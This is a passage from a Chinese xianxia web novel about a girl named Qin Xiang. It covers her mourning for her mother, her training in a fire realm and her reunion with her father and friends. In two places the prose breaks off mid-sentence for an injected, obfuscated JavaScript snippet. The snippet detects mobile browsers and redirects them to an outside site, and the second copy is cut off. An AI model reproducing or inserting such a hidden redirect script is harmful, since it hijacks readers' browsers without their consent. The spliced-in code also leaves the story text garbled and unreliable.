秦湘爬起身来,站在杜元霜的身后,她抖着手,将那支桃花簪簪入她的云鬓之中,摸着手中的青丝,愣了好久,才挥手在两人面前化了一面水镜,“好了,阿娘你看看,可喜欢?” 杜元霜摸了摸发间的簪子,瞧了瞧水镜,那簪子的样式,怎样都是她喜欢的。她转身,又将秦湘从身后拉到了怀里,手指亲昵地刮过她的鼻子,“喜欢,只要是阿湘送的,我都喜欢。” 后面母女俩断断续续地还聊了很多,但多半时候都是秦湘在说,杜元霜在听。 杜元霜将头阖在秦湘肩头,秦湘怔了片刻,侧过半边头,温声道:“阿娘是想睡觉了吗?” “嗯……”杜元霜轻轻地应了她。 “那今天我给来给阿娘讲故事好不好?阿娘听了故事就睡觉,但是明天早上要记得起床,然后明天晚上,我再接着给阿娘讲故事……好不好……” “好……” “我给阿娘讲一个小孩的故事吧,”秦湘清了清嗓子,慢慢道,“从前啊,有一个小孩子,她很幸福,有很爱她的爹娘,也有很宠她的师父和师兄,她呢,以为自己是全天下最幸福的小孩了,所以就恃宠而骄,以为只要她想,天下什么都会是自己的,自己想要什么都能得到。” “直到有一天,她离开了父母的庇护,出了家门,去了外面,才发现外面和自己想象的一点儿都不一样,在外面,没有人会让着她,也没有人会惯着她,所以,没了爹娘,她在外面就闯祸了。她本来也想干好事,但是她却没有这个能力去做好那件好事,还自大的以为自己可以做好,最后,不仅自己受伤了,还失去了自己最重要的人……” 说到此处,秦湘声音渐弱,她愣愣地盯着前方,许久无话。 伏在秦湘肩头的杜元霜慢慢地拥紧了她,她的意识已经开始涣散了,抑制毒素的丹药已经过效,她嗓音轻轻地,呼吸也越来越滞缓,连说几句话都开始变得很费劲。 但她还是笑着,用苍白的脸颊去蹭秦湘的脖颈:“傻阿湘,你傻不傻?阿娘不会离开你的……只要阿湘想,阿娘会一直……一直在……” 秦湘没有动,怕打断杜元霜的讲话,于是她便咬着嘴唇,将那些细碎的呜咽压抑在喉间,无声地哭泣着。 最后,乌云散去见月光,杜元霜抬起眼眸,银辉倾泻满地,她瞧见了怀中细细颤抖着的秦湘,她轻轻拍了拍她的双手,“阿湘,别怕。” 话音落,她也缓缓阖上眼帘,嘴角还带着微笑。 一滴温热的泪珠自杜元霜脸颊滑落,落在了秦湘的手背上。秦湘被烫地心脏发惶,呼吸一滞,感观在夜里被无限放大,一阵阴寒的夜风袭过之后,她再也听不见任何声音,周遭寂静,令人毛骨悚然的极致安静---死寂。 秦湘静静地窝在杜元霜的怀里,一动不动,直到那个怀抱的余温一点一点散去,一点一点凝成了冰,她才动了动僵硬的手指,合上眼帘,满眼的泪水夺眶而出。 “阿娘……” 不寒而栗,浑身剧烈地颤抖着,此时,秦湘终于意识到,在这个世上,她再也没有阿娘了。 杜元霜身死后,秦叙将她葬在北峰他们一起种下的第一颗桃花树下,又以半生修为布下了这笼罩着整个北峰的结界,结界与之相连,除非与秦叙秦湘同往,不然,擅闯结界者,便会遭到其反噬,轻则灵力毁损,重则命丧黄泉。 最初失去娘亲的那段日子,秦湘日日夜夜将自己关在北峰内,浑浑噩噩。起先,她每天都会将北峰小院打扫得干干净净,然后坐在门槛上,望着桃花树,将每天所做的事情事无巨细地讲给阿娘听。后来,她眼眶里含泪,每天倚靠在桃花树下,仿佛那个身影还在她身边,她伸手去拉,身影破碎,她跌坐在地上,嘴里不住喃喃:“阿娘,别走。” 这样的日子一直持续到那年秋日,那天,是秦湘的生辰,腾岳之巅的众人借此机会为她筹备了晚宴,想让她转移一下注意力,看着众人脸上的担忧,秦湘也不好推脱,于是便换了身衣裳,让自己看起来不像一副行尸走肉,赴了晚宴。 晚宴进行过半,忽有一珠宝玉石商人携着一桃花纹紫檀木锦盒而来。 清心殿中,秦湘如遭雷击,她倏地起身,整个人都发着抖,双目通红地望着面前的人,“你说什么?你再说一遍!” 那人立于清心殿大殿中央,双手捧着盒子递出,微低着头,声音平和:“今日乃秦小姐芳辰,在下受人所托,特来此为秦小姐奉上贺礼。” “受人?所托?受何人所托?可是杜元霜?” 是她吗?是她的阿娘吗? 秦湘感觉到自己的心跳都已经到了嗓子眼,她颤抖着手,接过那个盒子。盒子里,一枚细腻温润的羊脂白玉云纹平安锁静静地躺在里面,而一旁,还有一张桃花笺。 簪花小楷,一撇一捺,都是那熟悉的清秀字体,上面写着--- 愿阿湘,岁岁无虞,长安常乐。 所有的感情终是在这一刻决堤,秦湘再也受不住了,她跌坐在清心殿大殿内,眼泪如同断了线的珠子,噼里啪啦地往下掉。 后来,所有人都走了,秦湘也哭累了,她紧紧地将盒子抱在怀里,眼神空洞。清心殿的大门被人推开,沈清桐提着个小食盒,步履轻缓地走到她身边,席地而坐。 “清桐姐姐……” “听楚闵说你在这里,晚宴上也没吃多少,所以我来陪陪你,”沈清桐伸手摸了摸她的脸颊,帮她擦了擦未干的泪痕,“怎么哭成这样?掌门会心疼的,我们也会心疼的。” 秦湘耷拉着脑袋,无人安慰还好,但当沈清桐同样温柔的嗓音传入耳膜之时,秦湘好不容易止住的眼泪又忍不住地往外汹涌,她扑进沈清桐的怀里,抱住她的腰,失声痛哭起来。 这种心情沈清桐最能理解,她什么也没问,清心殿里静悄悄地,除了秦湘细碎的哭声和沈清桐轻轻拍着她背脊的声音。良久,沈清桐摸着秦湘的头发,垂落的眼帘底下尽是温柔,她轻轻开口,语音轻柔,如似旧人,她道:“阿湘,别哭。” 秦湘身形一顿,她抽噎着,抬起头,看清了面前的人,是清桐姐姐,不是阿娘。 她伸手抹抹眼睛,抽噎声断断续续的,声音也嗡嗡的:“清桐姐姐,我……我没有阿娘了。” 大概是被秦湘的心绪带动,沈清桐的意识回笼,也想到了那年断壁残垣下她的阿爹阿娘。 她顿了顿,旋即一声叹息,安慰道:“阿湘,别哭,杜夫人那么爱你,她不会离开你的。” “可是,我找不到她了,她不在了。” “她在,”沈清桐摇了摇头,手指轻轻点上了秦湘的心口,“她一直在,在阿湘的这里,只要阿湘想,她就会一直在,清桐姐姐不会骗人的,阿湘闭上眼睛,在脑袋里想着阿娘,等你再睁眼的时候,她就会出现在你面前了。” 秦湘没有动,仍是抽泣着,泪眼模糊地望着她。 沈清桐抱着怀中的秦湘,目光悠远,声音平静,“在上腾岳之巅之前,我的阿爹阿娘为了保护我,命丧于邪祟利爪之下,那段时间,我也难受极了,甚至恨不得追随他们而去,可每次到了最后,我想到了阿娘那句让我好好活下去,手里的刀就无论如何也挥下不去……” “后来啊,我发现他们竟然还未曾离去,每当我思念着他们之时,就会在脑海里想着他们,然后当我再次睁眼之时,我就会看见他们在我身旁,音容笑貌犹在,一如往常,陪着我春夏秋冬。” 她看了秦湘一眼,又摸了摸她的头,“所以,阿湘要向前看,你要是停滞不前,杜夫人看到了,该有多担心啊,今日是你的生辰,她希望你好好的,所以阿湘就别再哭了,好好振作起来吧,你的爹爹需要你,你的师父需要你,我们大家都需要你。” 秦湘怔怔地看着面前的沈清桐,顿了顿,又将视线落在了怀中的锦盒之上,过了很久很久之后,她才缓缓转了转那双通红的杏眸,抬头,声音嘶哑,“清桐姐姐,我饿了,我想吃饭。” 闻言,沈清桐心中一顿,连忙拿过一旁的食盒打开,一一摆出,将筷子递到她手中,“好,我给你带了,都是你喜欢吃的。” 秦湘捧着手中的碗,柔柔的睫毛垂落,温热的米饭送进嘴里,很暖。 清桐姐姐说得没错,今日是她的生辰,她的阿娘,希望她岁岁无虞,长安常乐。 从那之后,秦湘再也没有将自己日日夜夜封在那北峰小院里了,她将杜元霜送她的那块平安锁带在颈上,脸上不再带着眼泪。她恭恭敬敬地朝着清心殿内高坐着的秦叙与明萧长老行了一礼:“这段日子,是阿湘错了,让爹爹和师父担心。” 秦湘走出来了,她不再沉耽于过去,日子总是要向前看的,而且她知道,阿娘并没有离去,不管是桃花树下的女儿红,还是脖颈上的平安锁……只要她想,阿娘就会一直在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667313|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 再后来,她每天的日常就是好好修习,好好练剑,她要让自己变得强,真正做到既能保护自己,也能保护别人。 在腾岳之巅众人眼里,秦湘依旧嚣张,但这嚣张又与之前不一样,嚣张之中多了几分收敛与沉稳,不骄不躁,这次,她会让她的实力配得上她的嚣张。 秦叙站在一旁,看在眼里,记在心里,他知道秦湘的变化,但在他心里却一直有一道迈不过去的坎,他怕,他怕秦湘下山,怕她独自一人,怕那年的事情再次上演。 在这个男人心里,这件事情就像一道疤,秦湘怪自己狂妄害了阿娘,而他则怪自己是自己没有保护好妻女。所以后来的几年时光里,他什么要求都能答应秦湘,唯独单独下山,去斩妖除魔,不行,他真的害怕,怕她与杜元霜一样,一去就不复返了。 双方就这样一直拉锯到今年,直到今年,秦湘十四,距离杜元霜故去已过了七年,秦湘的脾性也收敛了许多,她的能力他有目共睹,这山门他能拦她十年八年,但也拦不住她一辈子,于是终于放她下了山。 只是秦湘自己也没想到,她这一下山,竟就捡回了她从小崇拜到大的神明,还遇上了厄运之门的封印洞开,看见那书卷里存在着的妖魔,看着秦叙白骨森森的伤口,她再一次清晰地明白,自己还是不够厉害。 穿堂风从门扉拂过,秦湘眨了眨眼,从记忆之中清醒过来。 看着面前画像上笑容依旧柔和的杜元霜,她也笑了笑,枯坐了一会儿,秦湘起身,朝着画像弯腰行了一礼:“谢谢阿娘,阿娘这里果然容易想通事情,我要走啦,下次来看阿娘,我再给阿娘带礼物。” 秦湘走到清心殿里找秦叙的时候,周楚闵和明萧长老都在,三人正在讨论接下来加强腾岳之巅门派结界和夜间巡逻警戒的事情。 厄运之门洞开一事在修仙界掀起一阵激烈的波动,各大门派心知肚明这背后有个幕后之人,虽然他们并不清楚长锦与厄运之门的关系,但对于这个幕后之人而言,长锦的身份和与厄运之门的关系,他和腾岳之巅,心里都清明的跟明镜似的。而今长锦闭关三年,若是这时那幕后之人对腾岳之巅动点什么手脚,他们不得不防。 秦湘推门而入,向着三人行了一礼:“爹爹,师父,师兄。” “阿湘?你怎么来了?” “我有事想和爹爹说,正好师父师兄也在,”秦湘开门见山,“我想去后山的烈焰火域幻境里闭关修炼,提升自己的火灵之力,特此前来告知爹爹师父一声。” “怎么好好的突然想要闭关修炼了?”明萧长老看向她,“烈焰火域里一片火海,无尽炽焰,你现在进去,我怕你还承受不住。” “是啊,阿湘,”秦叙也愣了一下,“为何如此突然?” “厄运之门封印洞开,长锦神君已经入世,幕后之人身份不明,日后恐还会有一场恶战,”秦湘低着头,又弯腰行了一礼,“我想保护大家,也想与长锦神君同行,所以,在这之前,我需要更加努力让自己变得更强,我意已决,望爹爹师父成全。” 态度诚恳,语气坚定。清心殿里默了半晌,秦叙与明萧长老没吭声,秦湘也保持着弯腰行礼的姿势未起身,良久,秦叙一声叹息,声音平稳:“罢了,你去罢。” 闻言,明萧长老也叹道:“掌门都这么说了,我也没理由阻拦你,你去罢。” “多谢爹爹和师父成全。” 去烈焰火域那日,秦叙与各位长老忙着布置结界,只有周楚闵来送她。在幻境门口,周楚闵苦口婆心,与她交代良多,看着他一脸担忧的样子,秦湘笑了:“好了,我知道了,师兄,你别担心,回去吧。” 周楚闵皱着一张脸,又从怀中掏了几个瓶瓶罐罐塞进她手中,“给,这是你清桐姐姐给你的,都是些调理内息的丹药,她忙着照顾伤员,走不开,就让我代为转交。” “好,代我谢谢清桐姐姐。”秦湘收了那几个小瓶子,笑了笑。 分别在即,周楚闵一声叹息,张了张嘴,作势还要接着说些什么,但话在嘴边,却什么都说尽了,什么也说不出来。 秦湘看着他,笑了笑,将他调转了个方向,又推着他往前走了两步,“好了,师兄,你要说的我心里都明白,你回去吧,去帮清桐姐姐吧。” “嗯,好吧,那我走了,你自己多保重。” “好,”秦湘站在原地,目送他离去,看着周楚闵的背影,她突然想到了什么,又唤住了他,“师兄。” “嗯?怎么了?”周楚闵回头。 秦湘站在烈焰火域门口,一双眼睛很亮,她道:“下次比试,你不要让着我了,我会堂堂正正、真真正正的打败你的。” 闻言,周楚闵莞尔一笑。 “好。” 10.烈焰火域 无尽的赤焰火海虚无中,一道细小的缝隙缓缓在其上方撕开,缝隙不断扩大,在这焮天铄地的烈焰之中慢慢形成了一个红色漩涡,漩涡之上,盘旋着六条通体赤红的火龙。 火海中央,四道萦绕着赤焰灵火的光柱矗立在这烈火幻境中的四个方位,光柱顶端悬浮着一颗巨大的火球,火球之中,一个素衣少女正盘腿静坐,她发丝飘然,双眼紧闭,仿佛陷入了沉睡。然而当那红色漩涡彻底凝聚成型之时,她合着的双眼却蓦然睁开,目光清明地望向那方。 随着少女的苏醒,中心火球开始熔化,漫天的火焰在空中尽数化成了一阵一阵灵力朝着少女飞涌而去,少女周身都流转着浅浅的红色光华,直到最后一丝灵力涌进她的身体,那光华才慢慢暗淡下去。 闭关了三年,秦湘的身子尚且都有些僵硬。她维系着飘浮在半空中的姿势,展开双臂伸了个餍足的懒腰之后,才踏着烈焰火域中漂浮着的虚虚灵火掠至地面。 看着面前的红色漩涡,秦湘忍不住弯眼笑了。她犹且记得自己在三年前第一天通过这红色漩涡走进这烈焰火域的场景,因灵力不够,承受不住这炽热的火系灵力,吃了不知多少苦头,到如今,她终于能够随意操控这火焰灵气,并收纳其为己用。 灵力修为的增长,让她心情喜悦,她知道,比起三年前,她终于拥有了更强大的力量可以保护她所珍视的人了,思及此,秦湘的眼神也瞬间明亮起来。 三年了,她的爹爹,师父,师兄,清桐姐姐…… 还有……那个人---长锦神君,应该也已经出关了吧。 踏出烈焰火域幻境,红色漩涡也于身后消失。秦湘站在原地,目光自四周环视了一圈,阳光有些刺眼,风清日暖,春山如黛,俨然又是一年春三月。 不远处,一个墨衣宽袖男子正缓缓走来,在看见秦湘的那一刻,脸上平和的神色瞬间瓦解,他愣了愣神,眼眶微红,喜不自禁地奔上前来,“阿湘!” 秦湘抬头一望,不承想她一出关看见的第一个人竟是秦叙,要知道她在闭关之时秦叙都是忙得脱不开身,所以她从未想过他会来。她错愕了一瞬,才迎了上去,喜道:“爹爹!” 秦叙站在秦湘身前,摸了摸秦湘的头,比了比,又将她上上下下打量了好几番,才拉着她的手拍了拍,嘴唇颤抖,“好啊好啊,三年未曾见到阿湘了,阿湘长高了,那日与长老们忙于布置结界,你闭关之际也未曾前来好好送过你,这三年,苦了你了。” “不苦不苦,”秦湘摇摇头,哽咽道,“爹爹,我……我驯服烈焰火域了,以后,我可以保护自己,可以保护你,也可以保护大家了,不会再教你担心了。” “好,”秦叙笑着点了点头,眸中光晕流淌,满眼盛着的都是欣慰,“我的阿湘理所应当,驯服烈焰火域不在话下。” “爹爹?”这样明确直白坦率的夸奖她已经多久没有听到过了,秦湘不由得微怔了一怔,好半晌才反应过来秦叙是在夸她,她胸臆慌乱,仰着头,一双杏眸里都是不可置信,“你,你刚刚是在夸我吗?你再说一次。” 秦叙淡淡笑着,粗大宽厚的手掌在她脑袋上轻轻揉了两下,对上她的眼睛,又说了一遍,“是的,阿湘本就该如此厉害,驯服烈焰火域,理所应当。” “爹爹!”秦湘嘴角微微一动,甘之如饴,她扑进秦叙怀里,紧紧抱住了他。 山径小路蜿蜒曲折,父女二人边走边聊。秦湘抬眼望着头上笼罩着的金色结界,便开口问道:“爹爹,这三年可有那幕后之人的消息?” “暂时没有,不过厄运之门的封印洞开,终究还是影响了修仙界,这几年各地乱象频发,频频生出了妖邪鬼怪杀人案件,”秦叙叹了口气,“一时间各大门派也无暇再顾及查探那幕后之人的信息,所幸,那人这几年也未曾有什么大的动作。” 秦湘顿了顿,掀起眼帘,又道,“爹爹,那这三年,可有什么妖邪鬼怪来攻击腾岳之巅?这结界,可曾有触动过?” “有,不过都是些低等妖邪,各地妖邪频出,这并不是什么稀奇的事。” “好像不大对,”秦湘脚步微微一顿,她皱着眉头,在脑中暗暗思索了一会,“长锦神君曾经说过,厄运之门用恶念和邪念献祭,可以打开,同样道理,魔主的力量来源是天下邪念与恶念,这种乱象丛生,最容易滋养出的就是邪气,爹爹,也许这不是厄运之门的影响,而是那幕后之人已经开始在暗中慢慢动手了。” 秦叙站在一旁听了,也恍然大悟,“所以,你的意思是,各地乱象频发,是那人在收集邪气?他想用邪气唤醒魔主?或是用邪气再次开启厄运之门?” “也许是的,”秦湘点了点头,“不过这也只是我的猜测,是不是真的到时候还要由长锦神君确认,毕竟我们感知不到魔气,下次若有这样的事件,我再邀长锦神君一起前去探查,到时就知是与不是了。” “嗯,”秦叙叹了口气,道,“也只能如此了。” 秦湘看着他蹙起的眉峰,不由得笑了,连忙道:“怪我,一出关就和爹爹说这种严肃的事情,让爹爹徒增烦恼。咱们先不说这个了,也许这就是我瞎猜的呢,事情根本没这么严重呢,况且不是还有长锦神君在呢嘛。” “嗯,”秦叙又叹了一口气,不过这回倒是轻松了一些了,待再抬起头时,眉间的雾霾一扫而尽,笑道,“也是,今天是个好的日子,先不说这些了。早知你今日出关,正好长锦神君上座新居席清长老位,也还未曾在门派弟子面前正式打过照面,我和众长老商量过了,今晚在云隆堂设了宴,届时该要好好庆贺一番。” “设宴?”听到这个消息的时候,秦湘的表情瞬间就激动了起来,“长锦神君出关了?!” 三年前,因为禁足十日,等她被放出来的时候,西院已经关闭了,除了厄运之门那一回之后,她就再也没见过长锦了。 “出了,比你早十几天,不过他很少出门走动,这个时辰应该还是在西院呆着。” “那我去西院看看长锦神君!”说罢,秦湘作势就要往西院方向跑。可还没跑出去两步,就被秦叙一把薅了回来。 肩膀被人揽住,秦湘一脸焦急的回头,“爹爹!你干嘛!” “好了好了,知道你想见他,但他这个时辰应该是在打坐静修,还是不要去打扰他好,还有,”秦叙屈指在她的额头上轻轻地敲了两下,“不要叫长锦神君,该叫席清长老,要记住了。” 秦湘还是有点不甘心,“可是……我想见他,爹爹,你知道的。” “噗,”秦叙瞧了她一眼,被她这个可怜模样给逗得一乐,他侧头轻轻咳了两声回了正经,才对秦湘道,“唉呀,爹爹知道你想见他,但是今晚上就能见到了,而且你也刚刚出关,就算要见他也得回去收拾休息一下不是?” 秦湘愣了一愣,想想也是,自己刚出关,这一身风尘仆仆的,就跑去长锦神君面前,着实也不大合适,于是她恹恹地叹了口气,“那好吧。” “这就对了嘛,”秦叙拍拍她的肩,“听爹爹的,先回去洗个澡吃个饭好好休息一下,晚上才有精力好好参加宴席,才能漂漂亮亮端端正正的去见长锦神君呐。” “嗯,好。” 秦叙揉了揉她的脑袋,“去吧。” 秦湘回了自己住的小院,虽然三年都不曾再住过,但还是干干净净整整齐齐的,所有东西一应俱全应有尽有。想来应该是爹爹每日都派人前来修整打扫过。 她推开木制门扉,走了进去,先坐着发了会呆儿,才收拾着东西去沐浴。沐浴完换了身干净的水色衣裙之后,也不着急去云隆堂吃饭,先去了趟北峰桃林小院给杜元霜带了束新的桃花枝换上,又与她叨叨絮絮地说了一番话,才走出结界,往云隆堂的方向去。 一路上,遇到了许多眼熟的门派师兄师姐,也有许多不眼熟的门派新收的师弟师妹。秦湘从一开始的微笑点头回以问候,到最后……她觉得自己脸都要笑僵了。除了嘴角带着的假笑,还有复读一般的“嗯嗯”,“出关了”,“师兄师姐好”,“你们好,”之外,她已经不知道自己在干什么了。 在送走迎面而来的最后一波师兄师姐之后,秦湘终于松了一口气,可僵着的嘴角才放到一半,身后又是一声“阿湘”传来。秦湘此时很心累,也没注意分辨这声音中带着的那一丝耳熟,她眉头蹙了蹙,吸了一口气,将放到一半的嘴角又倏而提起,眯起眼睛,带着她那全方位僵硬的假笑又转过了身去。 “嗯嗯,你……”好?一个“好”字硬生生地在嘴边打了个转,又被她咽了回去,秦湘看着来人,脸上的假笑瞬间成了真笑,她弯着一双眼,语气里都带上了欣喜:“清桐姐姐!” 三年未见,两人相貌身量基本也已彻底长开定型,沈清桐比秦湘年长两岁,如今年芳十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,”壮汉叹了口气,暂时放下了手中的活,掌了个菜勺转而面向秦湘,“大小姐想要吃点什么?我给你打吧。” “两个华容团子,要酸菜香干肉末的,再要一份麻辣子鸡,一份清炒藕尖,一份卤水猪耳,两碗蛋花汤,谢谢陈伯伯。” 闻言,壮汉伸手从一边拿过几个碗碟,打了满满几大勺之后放在了秦湘的托盘上。 秦湘在一旁看的心惊,手欲伸又止,“够了够了,陈伯伯,可以了可以了,再多就吃不完了。” “大小姐正是长身体的年纪,要多吃点。”壮汉一边说着,一边又朝秦湘的托盘里塞了两把青枣,“这个也拿去吃,今早上下山刚买的,可新鲜了。” “好了好了,谢谢陈伯伯,那陈伯伯你先忙,我走啦。” 当秦湘端着满满一托盘的菜肴回到沈清桐面前时,沈清桐也被面前堆成了山的菜肴惊了一惊,“怎么打这么多,吃得完吗?” 秦湘拉开木椅坐下,挠了挠头,将托盘中的菜肴一一摆在了桌上,才道,“陈伯伯太热情了,要不是我喊住他,他非得给再加两大勺不可。” 沈清桐接过对面人递过来的两颗水灵灵的青枣,愣道:“这也是陈伯伯给你的?” “是的,”秦湘说着,咬了一口手中的青枣,然后惊喜的“嗯”了一声,忙道,“清桐姐姐你快试试,这枣真不错,又甜又脆。” 沈清桐看着她,也笑了笑,然后就在面前人满含期待的星星眼中咬下了一口,她才刚咽下喉,秦湘就不住问:“是不是?是不是?很好吃?” 沈清桐点点头,“嗯,还可以。” 秦湘一句“是吧”还未说出口,忽而另一道声音从身后传来,打断了秦湘还要接着夸赞的话。 “哟,哪里来的青枣呀?吃得这么丰盛?” 秦湘闻声回头,一个约莫二十岁左右的青年正弯腰一脸笑意地站在自己身后。 面前的人依旧是熟悉的一袭青黑色劲装,墨色发丝束成高马尾,发间扣着一枚白玉兰花发扣,一张脸庞线条分明,剑眉星目,鼻梁高挺,放眼望去尽显英气俊朗。 要说女子十六七岁变化不算大,那男子十六七岁之后的变化可就算是巨大的,看着面前身量更高样貌更成熟硬朗了的周楚闵,秦湘硬是愣了好久,才回过了神来,眨了眨眼,起身唤道:“师兄?!” 11.桃花仙人 “嗯嗯,是我,阿湘长高了不少呢。” 来人正是周楚闵,他笑着点点头,拍了拍秦湘的肩膀,将人按回了座位上重新坐下,末了,才直起身子转而坐到了沈清桐身旁。 “师兄你怎么会在这里?”秦湘还沉浸在周楚闵样貌气质的大变化中无法自拔,于是便愣愣地问了一嘴。当话从嘴边说出,她才反应过来,来云隆堂肯定是来吃饭啊,偏生她还问出一句这么傻的话来。 周楚闵倒是全然不在意她这点外冒的傻气,笑着拿过沈清桐手中那个咬了一口的青枣接着啃了两口,沈清桐对他这做法早已见怪不怪了,因为秦湘还在面前,她便转头抬眼轻轻地瞪了他一眼。 但这眼神在周楚闵看来却是毫无威严攻击可言,相反还更添了几分灵动娇憨,心下软化如水,当即朝她回了一个温柔和煦的笑,沈清桐拿他没辙,于是便转回脑袋,伸手又从盘里拿了个新的慢慢啃着。 这小插曲一过,周楚闵才笑着回答了秦湘之前的问题:“噢,前几日云隐村妖邪作祟,我下山完成委派任务,想着今日你出关,便要早些赶回来,结果在后山扑了个空,路上遇见掌门才知你已经出关了,一番打听,听一些小师弟们说你和清桐在云隆堂,所以我就寻过来了。” 秦湘了然地点点头,“原来如此,那师兄也还未曾用饭呢吧?师兄想要吃什么,我去给师兄打饭。” “我不挑食,你看着去吧,你还爱吃什么就打什么。” “嗯嗯,好嘞。”秦湘又端过桌上的木托盘起身,她很快去而往返,端回了一碟青椒香干,一碗白米饭,一碗蛋花汤。她将桌上的碗碟重新整理了一下,将筷子分发给对面两人,才施施然的坐下,“吃吧吃吧。” “嗯,谢谢阿湘。” 三人坐下边吃边聊,秦湘突然想起了秦叙所说的各地频发的妖邪杀人事故,于是在咽下了口中的米饭之后,她抬头问对面的周楚闵:“师兄,听爹爹说这几年来各地频发妖邪鬼怪作祟杀人案件,你去的那个云隐村的委派任务,也是妖邪杀人事故?严重吗?那妖物可曾正常?有没有像是被操控的迹象?” “操控?”周楚闵略一沉吟,道,“这倒是没注意,不过,近两年来,妖物层出的现象确实比起以往而来多了不少。云隐村邻山又邻水,这次水祟联手作怪,催动山上泥石流动,整个村子耗损严重,我奉师父令下山除祟,也费了好大一番功夫折腾,噢,路上还遇到了乔玉洲,如若不是他出手相助,我还无法这么早的顺利赶回来。” “乔玉洲?”说起此人,秦湘手中的筷子一抖,眉头也不自觉的挑了两下,像是陷入了某种沉思,她顿了顿,才道,“那他修为剑法如何?比起之前?” “精进了不少,”周楚闵夹了一口菜肴送进嘴里,虽说双灵阁主药修,但这个少主的一身剑法修为却是不差的,甚至比起其余正统剑修灵修来讲更是不遑多让,“去年的群英论剑大会上,他是魁首。” “啊?”秦湘一惊,满眼不可置信,“怎么会?师兄你输给他了?” 周楚闵摇了摇头,“我没参加,当时我正随着师父修行,错过了那届论剑比试,还未曾与他交过手,不过这也不是什么大不了的事,等他下次来了腾岳之巅,再找他好好比试一场就知道了。” “哼,今年的群英论剑大会,我不会让他这么轻易夺得魁首的。”秦湘捏着手中的筷子,咬牙切齿。 “噗哈哈哈哈哈,”周楚闵看着秦湘一副忿然切齿的样子,不由得捧腹大笑,“阿湘,都这么多年过去了,你怎么听见乔玉洲还是一副深恶痛绝的样子啊。” 闻得此言,一直安静着吃着饭听着的沈清桐终于瞥了周楚闵一眼,伸手夹了一块香干就塞进了他的嘴里,道:“你怎么哪壶不开提哪壶,吃饭。” 谁知秦湘却没有因此觉得周楚闵怎样,话头已经提起,秦湘更加是一副恼火的模样,声音都提大了几分,手中的筷子捏的嘎嘎作响,“呸,那人人模狗样,一副温文儒雅的狗样子,背地里不知多风流浪荡,只要他再敢趁机来勾搭腾岳之巅的师姐师妹,我见他一次,就打他一次!” 不怪乎秦湘听见乔玉洲这个名字就炸毛,着实是两人的梁子结下的太大发了。 秦湘小的时候,有一回遇上乔玉洲跟随着双灵阁阁主前来腾岳之巅做客,那是两人第一回打照面,而就在两人认识的第一天里,那梁子就结下了。 那天的秦湘正在校演场独自练剑,忽而另一道陌生的身影加入了进来,本来单人的练剑就此变为了双人对练。秦湘眉头一皱,本想怒斥一番,但见这人剑法不错,便硬生生地将那些欲斥的话语压下了。 这人的修为确实是不错的,秦湘与他对练着,来来往往十几招,对方的剑竟没有半分落下风之意。好胜之心瞬间就被激起,秦湘越战越勇,两人在校演场切磋过招胶着了一下午,好不酣畅。 后来收了剑,秦湘本着对强者的心心相惜态度与对方鞠了一躬行了一礼,惊喜道:“我叫秦湘,你剑法不错,今日与你战的酣畅,不知该如何称呼你?” 对面少年亦是收了剑,眉眼修长疏朗,朝着秦湘微微一笑,端的是一副温文儒雅翩翩公子的气度做派,“美人相问名号,我自是要回应的,在下双灵阁乔玉洲。” 秦湘眉头挑了挑,额角突突跳动两下。虽然脑子里的第一想法是觉得这人讲话是不是有点什么毛病,但挂在心上的还是他那一身厉害的剑法,于是便也没多想,噢噢两声,“双灵阁少主啊,听爹爹提起过你,虽然双灵阁主药修,但你这一身修为属实不错,今日多谢你,陪我练了这一场。” 乔玉洲闻言轻轻笑了,一双眸子润如春水,“既如此,那姑娘可有什么奖赏与我?” “嗯?”秦湘被他整的摸不着头脑,心里虽想着要奖赏?什么东西?还要什么奖赏?但嘴上还是老老实实道,“你想要什么?” 乔玉洲笑而不语,他眯起眼睛,在她疑惑的眼神中朝着她走近几步。秦湘虽对他这行为有惑,但她素来要强,自然不可能被他逼着后退,于是便由着他这么径直地走到了她跟前。 乔玉洲手指绕过她肩头的一缕墨色发丝,倾身附耳,暧昧至极,“姑娘妍姿娇俏,在下心之向往,不如……” 不如什么,他没有说出来,秦湘也不会让他有机会说出来。在听见前两句之时,秦湘就已是眉头拧起,脸色红了又白,白了又红,如遭雷击。在她这短短十载人生中,谁能这么调戏她?谁又敢这么调戏她?但面前这个人,做了第一个勇士。 于是乔玉洲一席话还未说完,就被秦湘一拳揍上,旖旎的气氛瞬间被打破。 乔玉洲捂着肚子,一张俊脸痛到纠起,这边秦湘也没好到哪去,她还未等乔玉洲控诉,便已先发制人,满脸暴躁地愤然道:“呸!登徒子!我杀了你!” 从那次后,两人的梁子就结下了。后来乔玉洲每次来腾岳之巅,虽不敢再惹秦湘,但却调戏着腾岳之巅的其他女弟子,他长得温润如玉,朝着那些情窦初开的小女孩子温柔一声问候,就足以让人上头。 虽然说他只是嘴上言语放浪形骸,实质上并未做出什么逾矩出格之事,但却也更是因为这样,那些本就钦慕于他的女弟子对他就更加上心了,觉得他是个正人君子,值得她们的喜欢。 对此,秦湘只用一个字来形容就是呕,什么正人君子,这样的人更可恶,不娶何撩,但凡他更坏点还好说,教人伤心也更容易放下,可他偏偏就端着这一副谦谦君子的做派,勾人心魂却从不停留,让腾岳之巅的一众女弟子就这样白白瞎了眼为他害了相思,还是单相思。 